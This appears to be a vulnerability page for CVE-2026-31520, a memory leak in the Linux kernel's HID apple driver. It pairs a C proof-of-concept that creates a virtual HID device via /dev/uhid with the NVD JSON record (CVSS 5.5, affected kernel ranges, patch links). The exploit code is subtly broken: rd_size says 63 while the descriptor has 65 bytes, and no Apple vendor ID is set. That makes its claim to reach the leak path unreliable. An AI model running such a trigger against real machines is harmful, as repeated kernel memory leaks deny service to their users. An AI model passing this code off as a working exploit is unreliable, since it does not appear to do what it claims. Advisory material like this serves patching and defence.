CVE-2026-31520

/* * PoC for CVE-2026-31520: Memory Leak in HID apple driver * This code simulates a HID device to trigger the vulnerable function. */ #include <linux/uhid.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> int main() { int fd = open("/dev/uhid", O_RDWR); if (fd < 0) { perror("open"); return -1; } struct uhid_event ev; memset(&ev, 0, sizeof(ev)); ev.type = UHID_CREATE; // Setup a dummy Apple HID device descriptor strcpy((char*)ev.u.create.name, "PoC Apple Device"); ev.u.create.rd_size = 63; // Example Report Descriptor that might trigger the fixup unsigned char rdesc[] = {0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x26, 0xff, 0x00, 0x05, 0x07, 0x19, 0x00, 0x2a, 0xff, 0x00, 0x81, 0x00, 0xc0}; memcpy(ev.u.create.rd_data, rdesc, sizeof(rdesc)); if (write(fd, &ev, sizeof(ev)) < 0) { perror("write create"); close(fd); return -1; } printf("HID device created. Triggering leak path...\n"); sleep(1); // Cleanup memset(&ev, 0, sizeof(ev)); ev.type = UHID_DESTROY; write(fd, &ev, sizeof(ev)); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31520", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:51.770", "lastModified": "2026-04-28T18:27:38.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: apple: avoid memory leak in apple_report_fixup()\n\nThe apple_report_fixup() function was returning a\nnewly kmemdup()-allocated buffer, but never freeing it.\n\nThe caller of report_fixup() does not take ownership of the returned\npointer, but it *is* permitted to return a sub-portion of the input\nrdesc, whose lifetime is managed by the caller."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17", "versionEndExcluding": "6.1.168", "matchCriteriaId": "3AC7ECFB-6178-47EB-B821-2568DE6BFF85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/239c15116d80f67d32f00acc34575f1a6b699613", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2635d0c715f3fb177e0f80ecd5fa48feb6bf3884", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/31860c3f7ac66ab897a8c90dc4e74fa17ca0b624", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/be1a341c161430282acdfe2ac99b413271575cf1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e2f090aeb7b9930a964e151910f4d45b04c8a7e5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e652ebd29928181c3e6820e303da25873e9917d4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}